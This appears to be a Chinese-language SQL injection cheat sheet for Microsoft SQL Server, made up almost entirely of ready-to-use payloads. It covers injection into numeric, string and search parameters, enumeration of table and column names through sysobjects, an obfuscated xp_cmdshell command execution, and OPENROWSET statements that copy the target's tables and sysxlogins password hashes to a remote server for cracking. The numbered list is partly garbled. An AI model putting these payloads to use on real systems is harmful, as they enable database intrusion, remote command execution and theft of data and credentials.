'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是得到資料庫中的第一個使用者表,並把表名放在ffff使用者的郵箱欄位中。
通過查看ffff的使用者資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面這樣就可以得到第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--

-----------------------------------------------------------通常注射的一些介紹:
A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
select * from 表名 where 欄位=49
注入的參數為ID=49 And [查詢條件],即是產生語句:
select * from 表名 where 欄位=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字元型,SQL語句原貌大致概如下:
select * from 表名 where 欄位='連續劇'
注入的參數為Class=連續劇' and [查詢條件] and ''=' ,即是產生語句:
select * from 表名 where 欄位='連續劇' and [查詢條件] and ''=''
(C) 搜尋時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
select * from 表名 where 欄位like '%關鍵字%'
注入的參數為keyword=' and [查詢條件] and '%25'=', 即是產生語句:
select * from 表名 where欄位like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統資料表,儲存著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示使用者建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名後,用object_id('表名')擷取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個擷取所猜解表裡面的欄位名。

</form>
枚舉出他的資料表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的欄位處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名

[獲得資料表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
1、 開啟遠端資料庫
基本文法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數: (1) OLEDB Provider name
2、 其中連接字串參數可以是任何和連接埠用來串連,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
基本文法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有資料複製到遠端資料庫中的table1表中。實際運用中適當修改連接字串的IP地址和連接埠,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns
之後,便可以從本機資料庫中看到目標主機的庫結構,這已經易如反掌,不多講,複製資料庫:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
3、 複4、 制哈西表(HASH)
這實際上是上述複5、 制資料庫的一個擴充應用。登入密碼的hash儲存於sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之後,6、 就可以進行暴力破解。這需要一點運氣和大量時間。
